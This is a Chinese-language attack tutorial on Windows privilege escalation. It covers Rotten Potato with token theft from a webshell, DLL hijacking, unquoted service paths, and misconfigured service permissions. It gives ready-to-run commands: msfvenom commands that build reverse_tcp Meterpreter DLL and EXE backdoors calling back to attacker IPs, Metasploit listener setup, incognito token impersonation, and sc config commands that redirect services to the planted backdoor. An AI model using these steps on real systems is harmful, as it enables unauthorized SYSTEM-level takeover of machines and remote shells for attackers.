烂土豆提权
烂土豆配合令牌窃取提权(Web权限或数据库权限)
在webshell上面 上传烂土豆—>执行烂土豆—>利用窃取模块—>窃取SYSTEM—>成功
- 首先上传大马,拿到网站web权限,然后利用MSF生成的木马后门进行反弹shell。
- 反弹shell成功以后会发现权限为一个web服务的权限很低,这个时候如果直接用令牌窃取是无法窃取到system权限的(web服务权限过低),因此这里配合烂土豆进行权限提升。
- 在攻击者MSF上执行烂土豆程序。
接着在MSF上执行令牌窃取攻击,使用如下命令。
use incognito #进入incognito模块
list_tokens -u #列出令牌
impersonate_token 'TEST\Administrator(具体令牌)'
dll劫持
Windows程序启动的时候需要DLL库进行支持。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录 Current Working Directory,CWD
6、在 PATH 环境变量的目录(先系统后用户)dll劫持有两个利用条件:
①存在第三方软件
②第三方软件运行时加载的dll文件可重写、覆盖或者创建dll提权过程
信息收集—>进程调试(本地火绒剑调试)—>制作 dll 并上传(MSF制作)—>替换 dll—>启动应用后成功
信息搜集:
进程调试:
使用火绒剑进行exe启动时的进程分析,查看加载了那些dll文件,查看签名文件即可,system类型的dll文件直接跳过,原因当然是权限问题(肯定重写、覆盖不了)….
制作dll文件:
这里利用MSF生成恶意dll文件,使用如下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/xiaodi.dll
替换dll:
将上一步中生成的dll文件替换目标服务器上的响应dll文件,直接覆盖即可
启动应用:
先在MSF上进行反弹shell的监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6677
exploit
然后通过大马直接cmd启动第三方软件的exe文件,即可反弹shell成功。
不带引号服务路径配合MSF-Web(本地权限)
原理
当 Windows 服务运行时,会发生以下两种情况之一:
如果给出了可执行文件,并且引用了完整路径(引号括起来的绝对路径),则系统会按字面解释它并执行。
- 服务的二进制路径未包含在引号中,则操作系统将会执行第一个空格前的程序,第一个空格后面的部分 则会当作参数。
example:
有一个服务a.exe,他的可执行文件的路径是“C:\Program Files\a.exe”,路径被包含在引号中,则系统会正常解释并执行它,但是如果可执行文件的路径是C:\Program Files\a.exe,未被包含在引号中,则操作系统会执行空格之前的C:\Program,而将空格之后的 Files\a.exe当做参数,导致漏洞利用点产生。
引号路径漏洞提权过程
检测无引号服务路径—>利用路径制作文件并上传—>启用服务或重启—>调用后成功
检测无引号服务路径:
使用命令进行检测:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
利用路径制作文件并上传:
使用MSF制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录
后门生成命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe >Program.exe
启用服务或重启:
启动服务。可以在webshell中或者本地启动服务。但是测试时,webshell中启动不了,所以不带引号服务路径提权方法还是多用于本地提权。
启动服务使用命令:sc start “服务名”
调用后提权成功:
MSF监听到会话,提权成功。
服务停止或者崩溃,权限也就没了。
不安全的服务权限配合MSF(本地权限)
原理
当服务路径设置没有问题时,如果服务权限设置不当也会产生安全问题。真实环境下,如果服务的管理配置不当导致用户存在过大的权限,那么就可以修改服务指向的exe文件。
提权过程
检测当前用户权限服务情况—>制作文件并上传—>更改服务对应exe文件指向—>调用后成功
检测服务权限情况:
执行命令,检测当前用户所在组的服务权限(实战中一般都不是administrators组,这里仅做测试用,实战中一般是users等),列出的都是当前用户可以操作的服务。
使用命令:accesschk.exe -uwcqv "administrators" *
制作文件并上传:
使用MSF制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录
后门生成命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe >Program.exe
更改服务对应exe文件指向:
执行命令更改服务路径指向:sc config "NewServiceName(服务名)" binpath="C:\Program.exe(想要服务指向的exe文件路径)"
更改成功:
调用后提权成功:
MSF监听到会话,提权成功。